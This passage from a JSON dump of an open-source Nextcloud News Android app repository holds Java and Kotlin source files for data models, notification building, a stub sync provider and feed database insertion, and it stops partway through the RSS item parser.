    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader.model;\n\npublic class FolderSubscribtionItem extends AbstractItem {\n\n    public FolderSubscribtionItem(String headerFolder, Long idFolder, long idFolder_database) {\n        super(idFolder_database, headerFolder, idFolder_database);\n        this.idFolder = idFolder;\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/model/MediaItem.java",
    "content": "package de.luhmer.owncloudnewsreader.model;\n\nimport java.io.Serializable;\n\npublic abstract class MediaItem implements Serializable {\n    public long itemId;\n    public String author;\n    public String title;\n    public String favIcon;\n    public String link;\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/model/NextcloudNewsVersion.java",
    "content": "package de.luhmer.owncloudnewsreader.model;\n\n/**\n * Created by david on 26.05.17.\n */\n\npublic class NextcloudNewsVersion {\n\n    public String version;\n\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/model/NextcloudStatus.java",
    "content": "package de.luhmer.owncloudnewsreader.model;\n\n/**\n * Created by david on 26.05.17.\n */\n\npublic class NextcloudStatus {\n\n    public String version;\n    public Warnings warnings;\n\n    static class Warnings {\n        public String improperlyConfiguredCron;\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/model/OcsUser.java",
    "content": "package de.luhmer.owncloudnewsreader.model;\n\nimport android.net.Uri;\n\nimport androidx.annotation.Nullable;\n\nimport java.io.Serializable;\n\n/**\n * thanks to stefan and artur\n * https://github.com/stefan-niedermann/nextcloud-deck/blob/master/app/src/main/java/it/niedermann/nextcloud/deck/model/ocs/user/OcsUser.java\n */\npublic class OcsUser implements Serializable {\n    private static final long serialVersionUID = 1L;\n\n    String id;\n    String displayName;\n\n    public OcsUser() { }\n\n    public OcsUser(String id, String displayName) {\n        this.id = id;\n        this.displayName = displayName;\n    }\n\n    public String getId() {\n        return id;\n    }\n\n    public void setId(String id) {\n        this.id = id;\n    }\n\n    public String getDisplayName() {\n        return displayName;\n    }\n\n    public void setDisplayName(String displayName) {\n        this.displayName = displayName;\n    }\n\n\tpublic @Nullable String getAvatarUrl(@Nullable String ownCloudRootPath) {\n\t\tif (id == null || ownCloudRootPath == null) {\n\t\t\treturn null;\n\t\t}\n\n\t\treturn ownCloudRootPath + \"/index.php/avatar/\" + Uri.encode(id) + \"/64\";\n\t}\n\n    @Override\n    public boolean equals(Object o) {\n        if (this == o) return true;\n        if (o == null || getClass() != o.getClass()) return false;\n\n        OcsUser ocsUser = (OcsUser) o;\n\n        if (id != null ? !id.equals(ocsUser.id) : ocsUser.id != null) return false;\n        return displayName != null ? displayName.equals(ocsUser.displayName) : ocsUser.displayName == null;\n    }\n\n    @Override\n    public int hashCode() {\n        int result = id != null ? id.hashCode() : 0;\n        result = 31 * result + (displayName != null ? displayName.hashCode() : 0);\n        return result;\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/model/PodcastFeedItem.java",
    "content": "package de.luhmer.owncloudnewsreader.model;\n\nimport de.luhmer.owncloudnewsreader.database.model.Feed;\n\npublic class PodcastFeedItem {\n\n    public PodcastFeedItem(Feed feed, int podcastCount) {\n        this.mFeed = feed;\n        this.mPodcastCount = podcastCount;\n    }\n\n    public Feed mFeed;\n    public int mPodcastCount;\n\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/model/PodcastItem.java",
    "content": "package de.luhmer.owncloudnewsreader.model;\n\npublic class PodcastItem extends MediaItem {\n\n    public PodcastItem() {\n\n    }\n\n    public PodcastItem(long itemId, String author, String title, String link, String mimeType, boolean offlineCached, String favIcon, boolean isVideoPodcast, String fingerprint) {\n        this.itemId = itemId;\n        this.author = author;\n        this.title = title;\n        this.link = link;\n        this.mimeType = mimeType;\n        this.offlineCached = offlineCached;\n        this.favIcon = favIcon;\n        this.isVideoPodcast = isVideoPodcast;\n        this.fingerprint = fingerprint;\n    }\n\n    public String mimeType;\n    public String fingerprint;\n    public boolean offlineCached;\n    public boolean isVideoPodcast;\n\n    public Integer downloadProgress;\n\n    public static Integer DOWNLOAD_COMPLETED = -1;\n    public static Integer DOWNLOAD_NOT_STARTED = -2;\n\n\n    /*\n    public boolean isYoutubeVideo() {\n        return link.matches(\"^https?://(www.)?youtube.com/.*\");\n    }\n    */\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/model/TTSItem.java",
    "content": "package de.luhmer.owncloudnewsreader.model;\n\npublic class TTSItem extends MediaItem {\n\n    public TTSItem(long itemId, String author, String title, String text, String favIcon) {\n        this.itemId = itemId;\n        this.author = author;\n        this.title = title;\n        this.text = text;\n        this.favIcon = favIcon;\n    }\n\n    public String text;\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/model/Tuple.java",
    "content": "package de.luhmer.owncloudnewsreader.model;\n\n// TODO replace with Pair\npublic class Tuple<E, T> {\n    public final E key;\n    public final T value;\n    public Tuple(E key, T value) {\n        this.key = key;\n        this.value = value;\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/notification/NextcloudNotificationManager.java",
    "content": "package de.luhmer.owncloudnewsreader.notification;\n\nimport static android.app.Notification.EXTRA_NOTIFICATION_ID;\nimport static de.luhmer.owncloudnewsreader.Constants.NOTIFICATION_ACTION_MARK_ALL_AS_READ_STRING;\n\nimport android.app.Notification;\nimport android.app.NotificationChannel;\nimport android.app.NotificationManager;\nimport android.app.PendingIntent;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.content.SharedPreferences;\nimport android.content.res.Resources;\nimport android.graphics.Bitmap;\nimport android.graphics.BitmapFactory;\nimport android.graphics.drawable.Drawable;\nimport android.net.Uri;\nimport android.os.Build;\nimport android.service.notification.StatusBarNotification;\nimport android.support.v4.media.MediaDescriptionCompat;\nimport android.support.v4.media.MediaMetadataCompat;\nimport android.support.v4.media.session.MediaControllerCompat;\nimport android.support.v4.media.session.MediaSessionCompat;\nimport android.support.v4.media.session.PlaybackStateCompat;\nimport android.text.TextUtils;\n\nimport androidx.annotation.NonNull;\nimport androidx.annotation.Nullable;\nimport androidx.core.app.NotificationCompat;\nimport androidx.core.content.FileProvider;\nimport androidx.media.app.NotificationCompat.MediaStyle;\nimport androidx.media.session.MediaButtonReceiver;\n\nimport com.bumptech.glide.Glide;\nimport com.bumptech.glide.load.engine.DiskCacheStrategy;\nimport com.bumptech.glide.request.target.CustomTarget;\nimport com.bumptech.glide.request.transition.Transition;\n\nimport java.io.File;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Set;\n\nimport de.greenrobot.dao.query.QueryBuilder;\nimport de.luhmer.owncloudnewsreader.BuildConfig;\nimport de.luhmer.owncloudnewsreader.NewsReaderListActivity;\nimport de.luhmer.owncloudnewsreader.R;\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\nimport de.luhmer.owncloudnewsreader.helper.DatabaseUtilsKt;\nimport de.luhmer.owncloudnewsreader.helper.NotificationActionReceiver;\n\npublic class NextcloudNotificationManager {\n\n    private static final int ID_DownloadSingleImageComplete = 10;\n    // private static final int UNREAD_RSS_ITEMS_NOTIFICATION_ID = 246;\n\n    public static void showNotificationDownloadSingleImageComplete(Context context, File imagePath) {\n        String channelDownloadImage = context.getString(R.string.action_img_download);\n        NotificationManager notificationManager = getNotificationManagerAndCreateChannel(context, channelDownloadImage);\n\n        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N && !notificationManager.areNotificationsEnabled()) {\n            return;\n        }\n\n        Glide.with(context).asBitmap().load(\"file://\" + imagePath.getAbsolutePath()).diskCacheStrategy(DiskCacheStrategy.NONE).into(new CustomTarget<Bitmap>(1024, 512) {\n            @Override\n            public void onResourceReady(@NonNull Bitmap bitmap, @Nullable Transition<? super Bitmap> transition) {\n                // Uri imageUri = Uri.parse(imagePath);\n                Uri imageUri = FileProvider.getUriForFile(context,\n                        BuildConfig.APPLICATION_ID + \".provider\",\n                        imagePath);\n\n                Intent intent = new Intent();\n                intent.setAction(Intent.ACTION_VIEW);\n                intent.setDataAndType(imageUri, \"image/*\");\n                intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);\n                PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_IMMUTABLE);\n\n                NotificationCompat.Builder mBuilder = new NotificationCompat.Builder(context, channelDownloadImage)\n                        .setSmallIcon(R.drawable.ic_notification)\n                        .setContentTitle(context.getString(R.string.toast_img_saved) + \" - \" + imagePath.getName())\n                        .setContentIntent(pendingIntent)\n                        .setAutoCancel(true)\n                        .setStyle(new NotificationCompat.BigPictureStyle().bigPicture(bitmap));\n\n                notificationManager.notify(ID_DownloadSingleImageComplete, mBuilder.build());\n            }\n\n            @Override\n            public void onLoadCleared(@Nullable Drawable placeholder) {\n\n            }\n        });\n    }\n\n\n\n    public static NotificationCompat.Builder buildNotificationDownloadImageService(Context context, String channelId) {\n        getNotificationManagerAndCreateChannel(context, channelId);\n\n        Intent intentNewsReader = new Intent(context, NewsReaderListActivity.class);\n        PendingIntent pIntent = PendingIntent.getActivity(context, 0, intentNewsReader, PendingIntent.FLAG_IMMUTABLE);\n\n        return new NotificationCompat.Builder(context, channelId)\n                .setContentTitle(context.getResources().getString(R.string.app_name))\n                .setContentText(context.getString(R.string.notification_download_images_offline))\n                .setSmallIcon(R.drawable.ic_notification)\n                .setContentIntent(pIntent)\n                .setAutoCancel(true)\n                .setOnlyAlertOnce(true)\n                .setOngoing(true);\n    }\n\n\n    public static NotificationCompat.Builder buildNotificationDownloadWebPageService(Context context, String channelId) {\n        getNotificationManagerAndCreateChannel(context, channelId);\n\n        Intent intentNewsReader = new Intent(context, NewsReaderListActivity.class);\n        PendingIntent pIntent = PendingIntent.getActivity(context, 0, intentNewsReader, PendingIntent.FLAG_IMMUTABLE);\n\n        return new NotificationCompat.Builder(context, channelId)\n                .setContentTitle(context.getResources().getString(R.string.app_name))\n                .setContentText(context.getString(R.string.notification_download_articles_offline))\n                .setSmallIcon(R.drawable.ic_notification)\n                .setContentIntent(pIntent)\n                .setAutoCancel(true)\n                .setOnlyAlertOnce(true)\n                .setOngoing(true);\n    }\n\n\n\n    public static void showNotificationImageDownloadLimitReached(Context context, String channelId, int limit) {\n        NotificationManager notificationManager = getNotificationManagerAndCreateChannel(context, channelId);\n\n        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N && !notificationManager.areNotificationsEnabled()) {\n            return;\n        }\n\n        Intent intentNewsReader = new Intent(context, NewsReaderListActivity.class);\n        PendingIntent pIntent = PendingIntent.getActivity(context, 0, intentNewsReader, PendingIntent.FLAG_IMMUTABLE);\n        NotificationCompat.Builder notifyBuilder = new NotificationCompat.Builder(context, channelId)\n                .setContentTitle(\"Nextcloud News\")\n                .setContentText(\"Only \" + limit + \" images can be cached at once\")\n                .setSmallIcon(R.drawable.ic_notification)\n                .setContentIntent(pIntent);\n\n        Notification notify = notifyBuilder.build();\n\n        //Hide the notification after its selected\n        notify.flags |= Notification.FLAG_AUTO_CANCEL;\n\n        // Use random ID\n        notificationManager.notify(123, notify);\n    }\n\n    /**\n     * Build a notification using the information from the given media session. Makes heavy use\n     * of {@link MediaMetadataCompat#getDescription()} to extract the appropriate information.\n     * @param context Context used to construct the notification.\n     * @param mediaSession Media session to get information.\n     * @return A pre-built notification with information from the given media session.\n     */\n    public static NotificationCompat.Builder buildPodcastNotification(Context context, String channelId, MediaSessionCompat mediaSession) {\n        getNotificationManagerAndCreateChannel(context, channelId);\n\n        /*\n        // Creates an explicit intent for an ResultActivity to receive.\n        Intent resultIntent = new Intent(context, NewsReaderListActivity.class);\n        // Because clicking the notification opens a new (\"special\") activity, there's\n        // no need to create an artificial back stack.\n        PendingIntent resultPendingIntent =\n                PendingIntent.getActivity(\n                        context,\n                        0,\n                        resultIntent,\n                        PendingIntent.FLAG_IMMUTABLE | PendingIntent.FLAG_UPDATE_CURRENT\n                );\n\n        return new NotificationCompat.Builder(context, channelId)\n                .setSmallIcon(R.drawable.ic_notification)\n                .setAutoCancel(true)\n                .setOngoing(true)\n                .setOnlyAlertOnce(true)\n                .setContentIntent(resultPendingIntent);\n        */\n\n        Bitmap bitmapIcon = BitmapFactory.decodeResource(context.getResources(), R.mipmap.ic_launcher);\n\n        MediaControllerCompat controller = mediaSession.getController();\n        MediaMetadataCompat mediaMetadata = controller.getMetadata();\n        MediaDescriptionCompat description = mediaMetadata.getDescription();\n\n        NotificationCompat.Builder builder = new NotificationCompat.Builder(context, channelId)\n                /*\n                .setStyle(new NotificationCompat.MediaStyle()\n                        .setShowActionsInCompactView(\n                                new int[]{playPauseButtonPosition})  // show only play/pause in compact view\n                        .setMediaSession(mSession.getSessionToken()))\n                */\n                //.setUsesChronometer(true)\n                .setContentTitle(description.getTitle())\n                .setContentText(description.getSubtitle())\n                .setSubText(description.getDescription())\n                .setSmallIcon(R.drawable.ic_notification)\n                //.setContentText(description.getSubtitle())\n                //.setContentText(mediaMetadata.getText(MediaMetadataCompat.METADATA_KEY_ARTIST))\n                //.setSubText(description.getDescription())\n                //.setLargeIcon(description.getIconBitmap())\n                .setLargeIcon(bitmapIcon)\n                .setContentIntent(controller.getSessionActivity())\n                .setDeleteIntent(MediaButtonReceiver.buildMediaButtonPendingIntent(context, PlaybackStateCompat.ACTION_STOP))\n                .setOnlyAlertOnce(true);\n\n        boolean isPlaying = controller.getPlaybackState().getState() == PlaybackStateCompat.STATE_PLAYING;\n        builder.addAction(getPlayPauseAction(context, isPlaying));\n\n        // Make the transport controls visible on the lockscreen\n        builder.setVisibility(NotificationCompat.VISIBILITY_PUBLIC);\n\n        builder.setStyle(new MediaStyle()\n            //.setShowActionsInCompactView(0)  // show only play/pause in compact view\n            .setMediaSession(mediaSession.getSessionToken())\n            .setShowActionsInCompactView(0)\n            .setShowCancelButton(true)\n            .setCancelButtonIntent(\n                    MediaButtonReceiver.buildMediaButtonPendingIntent(\n                        context, PlaybackStateCompat.ACTION_STOP)));\n\n\n        return builder;\n    }\n\n    private static NotificationCompat.Action getPlayPauseAction(Context context, boolean isPlaying) {\n        int drawableId = isPlaying ? R.drawable.ic_action_pause_24 : R.drawable.ic_baseline_play_arrow_24;\n        String actionText = isPlaying ? \"Pause\" : \"Play\"; // TODO extract as string resource\n\n        PendingIntent pendingIntent = MediaButtonReceiver.buildMediaButtonPendingIntent(context,\n                isPlaying ? PlaybackStateCompat.ACTION_PAUSE : PlaybackStateCompat.ACTION_PLAY);\n        return new NotificationCompat.Action(drawableId, actionText,  pendingIntent);\n\n    }\n\n    public static NotificationCompat.Builder buildDownloadPodcastNotification(Context context, String channelId) {\n        getNotificationManagerAndCreateChannel(context, channelId);\n\n        Intent intentNewsReader = new Intent(context, NewsReaderListActivity.class);\n        PendingIntent pIntent = PendingIntent.getActivity(context, 0, intentNewsReader, PendingIntent.FLAG_IMMUTABLE);\n        NotificationCompat.Builder mNotificationDownloadPodcast = new NotificationCompat.Builder(context, channelId)\n                .setContentTitle(context.getResources().getString(R.string.app_name))\n                .setContentText(context.getString(R.string.notification_downloading_podcast_title))\n                .setSmallIcon(R.drawable.ic_notification)\n                .setContentIntent(pIntent)\n                .setAutoCancel(true)\n                .setOnlyAlertOnce(true)\n                .setOngoing(true);\n\n        return mNotificationDownloadPodcast;\n    }\n\n\n    public static void showUnreadRssItemsNotification(Context context, SharedPreferences mPrefs, Boolean updateExistingNotificationsOnly) {\n        Resources res = context.getResources();\n        String channelId = context.getString(R.string.app_name);\n        NotificationManager notificationManager = getNotificationManagerAndCreateChannel(context, channelId);\n\n        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N && !notificationManager.areNotificationsEnabled()) {\n            return;\n        }\n\n        DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(context);\n        DatabaseConnectionOrm.SORT_DIRECTION sortDirection = DatabaseUtilsKt.getSortDirectionFromSettings(mPrefs);\n\n        Set<String> notificationGroups = dbConn.getNotificationGroups();\n        for (String notificationGroup : notificationGroups) {\n            // use hashcode for notification group as identifier for the notification\n            Integer notificationId = notificationGroup.hashCode();\n\n            // if the user exists the app we need to update the notifications - but only if the notification is already visible\n            if (updateExistingNotificationsOnly && !isUnreadRssCountNotificationVisible(context, notificationId)) {\n                continue;\n            }\n\n            QueryBuilder<RssItem> qbItemsForNotificationGroup = dbConn.getAllUnreadRssItemsForNotificationGroup(sortDirection, notificationGroup);\n\n            Integer newItemsCount = Math.toIntExact(qbItemsForNotificationGroup.count());\n            List<RssItem> items = qbItemsForNotificationGroup.limit(6).list(); // only read 6 items from database\n            String tickerMessage = res.getQuantityString(R.plurals.notification_new_items_ticker, newItemsCount, newItemsCount);\n            String contentText = res.getQuantityString(R.plurals.notification_new_items_text, newItemsCount, newItemsCount);\n            if (items.size() > 0) {\n                contentText = \"\\u2022 \" + items.get(0).getTitle();\n            }\n            String contentTitle = notificationGroup.equals(\"default\") ? tickerMessage : String.format(\"[%s] %s\", notificationGroup, tickerMessage);\n\n            List<String> previewLines = new ArrayList<>();\n            for (RssItem item : items) {\n                // • = \\u2022,   ● = \\u25CF,   ○ = \\u25CB,   ▪ = \\u25AA,   ■ = \\u25A0,   □ = \\u25A1,   ► = \\u25BA\n                previewLines.add(\"\\u2022 \" + item.getTitle().trim());\n            }\n            String previewText = TextUtils.join(\"\\n\", previewLines);\n\n            Intent markAllAsReadIntent = new Intent(context, NotificationActionReceiver.class);\n            markAllAsReadIntent.setAction(NOTIFICATION_ACTION_MARK_ALL_AS_READ_STRING);\n            markAllAsReadIntent.putExtra(EXTRA_NOTIFICATION_ID, notificationId);\n            PendingIntent markAllAsReadPendingIntent = PendingIntent.getBroadcast(context, 0, markAllAsReadIntent, PendingIntent.FLAG_IMMUTABLE | PendingIntent.FLAG_ONE_SHOT);\n\n            NotificationCompat.Builder builder =\n                    new NotificationCompat.Builder(context, channelId)\n                            .setSmallIcon(R.drawable.ic_notification)\n                            .setContentTitle(contentTitle)\n                            .setStyle(new NotificationCompat.BigTextStyle().bigText(previewText))\n                            //.setDefaults(Notification.DEFAULT_ALL)\n                            .addAction(R.drawable.ic_checkbox_white, context.getString(R.string.menu_markAllAsRead), markAllAsReadPendingIntent)\n                            .setAutoCancel(true)\n                            .setNumber(newItemsCount)\n                            .setContentText(contentText);\n\n\n            Intent notificationIntent = new Intent(context, NewsReaderListActivity.class);\n            PendingIntent contentIntent = PendingIntent.getActivity(context, notificationId, notificationIntent, PendingIntent.FLAG_IMMUTABLE | PendingIntent.FLAG_UPDATE_CURRENT);\n            builder.setContentIntent(contentIntent);\n\n            if (newItemsCount > 0) {\n                notificationManager.notify(notificationId, builder.build());\n            } else {\n                // no new items available - hide/remove notification\n                notificationManager.cancel(notificationId);\n            }\n        }\n    }\n\n    public static boolean isUnreadRssCountNotificationVisible(Context context, Integer notificationId) {\n        NotificationManager notificationManager = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);\n\n        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {\n            for (StatusBarNotification statusBarNotification : notificationManager.getActiveNotifications()) {\n                if (statusBarNotification.getId() == notificationId) {\n                    return true;\n                }\n            }\n        }\n        return false;\n    }\n\n\n\n\n\n\n\n\n\n\n\n\n    private static NotificationManager getNotificationManagerAndCreateChannel(Context context, String channelId) {\n        NotificationManager notificationManager = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);\n        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {\n            int importance = NotificationManager.IMPORTANCE_DEFAULT;\n            NotificationChannel mChannel = new NotificationChannel(channelId, channelId, importance);\n            mChannel.setSound(null, null);\n            mChannel.enableVibration(false);\n            //mChannel.setShowBadge(false);\n            //mChannel.enableLights(true);\n            notificationManager.createNotificationChannel(mChannel);\n        }\n        return notificationManager;\n    }\n\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/providers/OwnCloudSyncProvider.kt",
    "content": "package de.luhmer.owncloudnewsreader.providers\n\nimport android.content.ContentProvider\nimport android.content.ContentValues\nimport android.database.Cursor\nimport android.net.Uri\n\nclass OwnCloudSyncProvider : ContentProvider() {\n    /*\n     * Always return true, indicating that the\n     * provider loaded correctly.\n     */\n    override fun onCreate(): Boolean = true\n\n    /*\n     * Return an empty String for MIME type\n     */\n    override fun getType(uri: Uri): String = \"\"\n\n    /*\n     * query() always returns no results\n     *\n     */\n    override fun query(\n        uri: Uri,\n        projection: Array<String>?,\n        selection: String?,\n        selectionArgs: Array<String>?,\n        sortOrder: String?,\n    ): Cursor? = null\n\n    /*\n     * insert() always returns null (no URI)\n     */\n    override fun insert(\n        uri: Uri,\n        values: ContentValues?,\n    ): Uri? = null\n\n    /*\n     * delete() always returns \"no rows affected\" (0)\n     */\n    override fun delete(\n        uri: Uri,\n        selection: String?,\n        selectionArgs: Array<String>?,\n    ): Int = 0\n\n    /*\n     * update() always returns \"no rows affected\" (0)\n     */\n    override fun update(\n        uri: Uri,\n        values: ContentValues?,\n        selection: String?,\n        selectionArgs: Array<String>?,\n    ): Int = 0\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/reader/FeedItemTags.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader.reader;\n\npublic enum FeedItemTags {\n\tMARK_ITEM_AS_READ(\"read\"),\n\tMARK_ITEM_AS_UNREAD(\"unread\"),\n\tMARK_ITEM_AS_STARRED(\"star\"),\n\tMARK_ITEM_AS_UNSTARRED(\"unstar\"),\n\tALL_STARRED(\"2\"),\n\tALL(\"3\");\n\n\tprivate final String segment;\n\n\tFeedItemTags(String segment) {\n\t\tthis.segment = segment;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn this.segment;\n\t}\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/reader/InsertIntoDatabase.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader.reader;\n\nimport android.util.Log;\n\nimport java.util.List;\n\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.database.model.Feed;\nimport de.luhmer.owncloudnewsreader.database.model.Folder;\nimport de.luhmer.owncloudnewsreader.helper.FavIconUtils;\n\npublic class InsertIntoDatabase {\n    private static final String TAG = \"InsertRssItemIntoDb\";\n\n    public static void InsertFoldersIntoDatabase(List<Folder> folderList, DatabaseConnectionOrm dbConn)\n    {\n        dbConn.deleteOldAndInsertNewFolders(folderList);\n\n        /*\n        List<Feed> feeds = dbConn.getListOfFeeds();\n\n        List<String> tagsAvailable = new ArrayList<String>(feeds.size());\n        for(int i = 0; i < feeds.size(); i++)\n            tagsAvailable.add(feeds.get(i).getFeedTitle());\n\n\n        if(folderList != null)\n        {\n            int addedCount = 0;\n            int removedCount = 0;\n\n            for(Folder folder : folderList)\n            {\n                if(!tagsAvailable.contains(folder.getLabel()))\n                {\n                    addedCount++;\n                    dbConn.insertNewFolder(folder);\n                }\n            }\n\n            Log.d(\"ADD\", \"\"+ addedCount);\n            Log.d(\"REMOVE\", \"\"+ removedCount++);\n        }\n    */\n    }\n\n    public static void InsertFeedsIntoDatabase(List<Feed> feeds, DatabaseConnectionOrm dbConn)\n    {\n        List<Feed> oldFeeds = dbConn.getListOfFeeds();\n\n        if(feeds != null)\n        {\n            dbConn.insertNewFeed(feeds);\n\n            for(Feed oldFeed : oldFeeds)\n            {\n                boolean found = false;\n                for(Feed newFeed : feeds)\n                {\n                    if(oldFeed.getId() == newFeed.getId()) {\n                        found = true;\n\n                        // Set the avg color after sync again.\n                        newFeed.setAvgColour(oldFeed.getAvgColour());\n                        // Set the notification channel after sync again\n                        newFeed.setNotificationChannel(oldFeed.getNotificationChannel());\n                        newFeed.setOpenIn(oldFeed.getOpenIn());\n\n                        // fix favicon url\n                        newFeed.setFaviconUrl(FavIconUtils.fixFavIconUrl(newFeed.getFaviconUrl()));\n\n                        dbConn.updateFeed(newFeed);\n                        break;\n                    }\n                }\n                if(!found)\n                {\n                    dbConn.removeFeedById(oldFeed.getId());\n                    Log.v(TAG, \"Remove Subscription: \" + oldFeed.getFeedTitle());\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/reader/OnAsyncTaskCompletedListener.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader.reader;\n\n\npublic interface OnAsyncTaskCompletedListener {\n\tvoid onAsyncTaskCompleted(final Exception task_result);\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/reader/nextcloud/IHandleJsonObject.java",
    "content": "package de.luhmer.owncloudnewsreader.reader.nextcloud;\n\nimport com.google.gson.JsonObject;\n\n/**\n * Created by david on 24.05.17.\n */\n\npublic interface IHandleJsonObject {\n    boolean performAction(JsonObject jObj);\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/reader/nextcloud/InsertRssItemIntoDatabase.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader.reader.nextcloud;\n\nimport android.text.Html;\nimport android.util.Log;\n\nimport com.google.gson.JsonObject;\n\nimport java.util.Date;\nimport java.util.List;\nimport java.util.UUID;\n\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\nimport de.luhmer.owncloudnewsreader.helper.ImageHandler;\n\nclass InsertRssItemIntoDatabase {\n\n    private final static String TAG = InsertRssItemIntoDatabase.class.getCanonicalName();\n\n    static RssItem parseItem(JsonObject e) {\n\t\tDate pubDate = new Date(e.get(\"pubDate\").getAsLong() * 1000);\n\n        String content = e.get(\"body\").getAsString();\n\n        /*\n        // URL Decoding content (some pages provide url decoded content - such as showrss.info\n        try {\n            // Try URL decoding\n            content = URLDecoder.decode(content, \"UTF-8\");\n        } catch (UnsupportedEncodingException e1) {\n            e1.printStackTrace();\n        }\n        */\n\n        //String url = e.get(\"url\").getAsString();\n        String url = getStringOrDefault(\"url\", \"about:blank\", e);\n        String guid = e.get(\"guid\").getAsString();\n        String enclosureLink = getStringOrEmpty(\"enclosureLink\", e);\n        String enclosureMime = getStringOrEmpty(\"enclosureMime\", e);\n\n        String mediaDescription = getStringOrEmpty(\"mediaDescription\", 